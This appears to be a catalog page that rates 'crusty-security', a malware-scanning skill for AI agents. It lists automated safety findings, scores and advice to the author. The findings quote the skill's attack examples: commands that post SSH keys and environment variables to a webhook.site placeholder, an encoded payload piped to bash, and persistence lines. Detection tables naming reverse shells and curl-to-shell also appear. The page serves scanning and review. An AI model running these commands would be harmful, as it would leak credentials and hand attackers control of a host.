SKILLEMALL.ai

FC crusty-security

Security and threat scanning skill for OpenClaw agents. Scans files and skills for malware. Monitors agent behavior for compromise indicators. Audits host security posture. Triggers on: "scan this file", "is this safe", "virus scan", "malware check", "security scan", "scan for threats", "check this download", "quarantine", "scan my system", "threat report", "scheduled scan", "audit host security", "audit this skill", "check agent integrity", "security report", "monitor agent".

Not recommendedcritical or high security findings · low grade F
modbender/skill-library-mcp Agent Skills author: modbender MIT 17 files · 9 scripts body ≈ 2 886 tokens Open the sourcegithub.com analyzed 3 d ago

Security and threat scanning skill for OpenClaw agents.

As a process C 58/100 · Has gaps — weak spots: result and completion, inputs and preconditions, running it twice

ProcedureData and analyticsAI and agentstype and topics are labelled automatically from the skill text
JSON
Technical rating
F
33/100
safety, quality, tests
Safety 60%
0
Quality 40%
82
Run on models
none yet
Process rating
C
58/100
Has gaps
Result and completion w 14
0
Inputs and preconditions w 11
0
Running it twice w 4
30
the three weakest of ten parameters · all ten

What is at stake

The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.

Dangerous commands
If you install

The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.

For the author

Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.

Exfiltration
If you install

The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".

For the author

If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.

How to improve

  1. Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
  2. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 30

  • high Dangerous commands cmd-encoded-exec references/threat-patterns.md:43
    Executes a base64/encoded payload (documentation of a security skill)
    echo "Y3Vy…XNo" | base64 -d | bash
    security skill
  • high Exfiltration exfil-post-credential-file references/threat-patterns.md:61
    Uploads a credential/secret file to a remote endpoint (documentation of a security skill)
    curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
    security skill
  • high Dangerous commands cmd-persistence scripts/monitor_agent.sh:116
    Persistence mechanism (cron / launchd / scheduled task / autorun registry)
    user_cron=$(crontab -l 2>/dev/null || true)
Medium and low: 27
  • medium Dangerous commands cmd-persistence references/remediation.md:69
    Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)
    ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
    security skill
  • medium Exfiltration exfil-webhook-url references/threat-patterns.md:37
    Webhook / callback URL commonly used for exfiltration (verify the destination) (documentation of a security skill)
    curl -X POST https://webhook.site/xxx -d "$(env)"
    security skill
  • medium Exfiltration exfil-webhook-url references/threat-patterns.md:61
    Webhook / callback URL commonly used for exfiltration (verify the destination) (documentation of a security skill)
    curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
    security skill
  • medium Dangerous commands cmd-persistence scripts/host_audit.sh:106
    Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)
    user_crontab=$(crontab -l 2>/dev/null || true)
    security skill
  • medium Dangerous commands cmd-persistence scripts/host_audit.sh:133
    Persistence mechanism (cron / launchd / scheduled task / autorun registry) (documentation of a security skill)
    done < <(find /etc/crontab /etc/cron.d -maxdepth 1 -type f 2>/dev/null || true)
    security skill
  • medium Dangerous commands cmd-persistence scripts/monitor_agent.sh:129
    Persistence mechanism (cron / launchd / scheduled task / autorun registry) (detector / deny-list definition)
    for cron_dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /var/spool/cron/crontabs; do
    detector
  • low Dangerous commands cmd-pipe-to-shell README.md:156
    Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)
    | 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
    tablesecurity skill
  • low Risky intent intent-offensive-security README.md:156
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    | 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
  • low Risky intent intent-offensive-security README.md:157
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    | 🟠 High | `eval`/`exec` with dynamic input, base64 decode chains, webhook.site/ngrok exfil, credential harvesting, binaries in skill dirs |
  • low Dangerous commands cmd-cron-mention references/remediation.md:68
    Mentions editing / listing crontab (documentation of a security skill)
    crontab -l
    security skill
  • low Risky intent intent-offensive-security references/threat-patterns.md:33
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    # Post-install reverse shell
  • low Dangerous commands cmd-background-process references/threat-patterns.md:136
    Starts a background / autostarted process (documentation of a security skill)
    systemctl enable updater
    security skill
  • low Risky intent intent-offensive-security references/threat-patterns.md:168
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    | Connections to port 4444, 5555 | Common reverse shell ports |
  • low Dangerous commands cmd-persistence scripts/host_audit.sh:88
    Persistence mechanism (cron / launchd / scheduled task / autorun registry) (code comment; documentation of a security skill)
    # macOS: check LaunchAgents/LaunchDaemons for suspicious plists
    commentsecurity skill
  • low Dangerous commands cmd-cron-mention scripts/host_audit.sh:106
    Mentions editing / listing crontab (documentation of a security skill)
    user_crontab=$(crontab -l 2>/dev/null || true)
    security skill
  • low Dangerous commands cmd-cron-mention scripts/monitor_agent.sh:116
    Mentions editing / listing crontab
    user_cron=$(crontab -l 2>/dev/null || true)
  • low Risky intent intent-offensive-security SKILL.md:119
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - 🔴 **Critical:** curl/wget piped to shell, reverse shell patterns, crypto mining indicators
  • low Risky intent intent-offensive-security SKILL.md:120
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
    - 🟠 **High:** eval/exec with dynamic input, base64 decode patterns, data exfiltration endpoints (webhook.site, ngrok, etc.), credential harvesting, binary executables, agent config modification
    detector

A further 9 matches are quotations in this security skill's documentation and are not counted as findings.

Files scanned: 17. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • note frontmatter-key unknown frontmatter key "homepage"

Process rating: all ten parameters 58/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 30Running it twice. 16 mutating operations with no state check
  • 55Failures and branches. 1 branches
  • 60Tools and files. Uses tools (bash, web, python) that frontmatter does not declare
  • 85Steps. 69 steps, 2 vague phrases
  • 100When it triggers. States when to use and when not to
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 2886 tokens
  • 100Progress reporting. Reports progress
  • medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing
  • low 12 top-level sections: this looks like several domains in one skill

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +4Description does not say when NOT to use the skill (false activations)
  • +3Output format is not stated: the model decides each time
  • -213 emoji in the instructions: noise for the model
  • +2Single-language instructions
  • +5Description quotes 16 example trigger phrases
  • +3Description length 481: enough signal without eating the budget
  • +4Structure: 20 headings
  • +3Step-by-step instructions: 69 items
  • +4Has examples (3 code blocks)
  • +4Reference files are cited in the instructions (2 of 3)
  • +3All 9 scripts are documented
  • +1License stated

Quality base 70; lint remarks subtract, signals add up to 100. Result: 82.